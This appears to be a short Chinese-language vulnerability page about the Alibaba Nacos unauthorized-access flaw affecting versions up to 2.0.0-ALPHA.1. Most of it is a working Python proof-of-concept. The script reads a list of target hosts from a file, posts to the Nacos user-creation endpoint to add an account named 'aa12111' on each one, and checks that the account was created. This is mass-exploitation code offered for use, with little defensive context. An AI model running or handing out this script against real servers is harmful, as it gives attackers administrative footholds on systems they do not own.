威胁等级 : 高危
影响范围 : Nacos <= 2.0.0-ALPHA.1
漏洞类型 : 未授权访问
利用难度 : 简单
漏洞描述
2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。 通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。
漏洞复现
目前受影响的 Alibaba Nacos 版本:
Nacos <= 2.0.0-ALPHA.1
title=nacos
poc
# coding=utf-8
import time
import requests
import urllib3
urllib3.disable_warnings()
headers = {
'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36",
"Accept-Encoding": "gzip, deflate",
}
def nacos(ip):
try:
check_url = '/nacos/v1/auth/users'
exp_data = {
"username": "aa12111",
"password": "aa12111",
}
check_url2 = ip + '/nacos/v1/auth/users?pageNo=1&pageSize=100'
poc_url = ip + check_url
response = requests.post(url=poc_url, headers=headers, timeout=10, verify=False, data=exp_data)
res_data = response.text
#print(res_data)
if "already exist!" in res_data:
print('用户名aa12111已经存在', check_url2)
elif "create user ok!" in res_data:
res = requests.get(url=check_url2, headers=headers, timeout=10, verify=False)
if "aa12111" in res.text:
print("添加用户名成功")
else:
print("漏洞利用失败")
except:
print("连接超时!")
def get_url():
with open('ip.txt', 'r') as f:
ips = f.readlines()
for ip in ips:
ip = ip.strip()
#print(ip)
if ip[0:5] == 'https':
ip = ip
elif ip[0:4] == 'http':
ip = ip
else:
ip = 'http://' + ip
nacos(ip)
if __name__ == "__main__":
get_url()
网友评论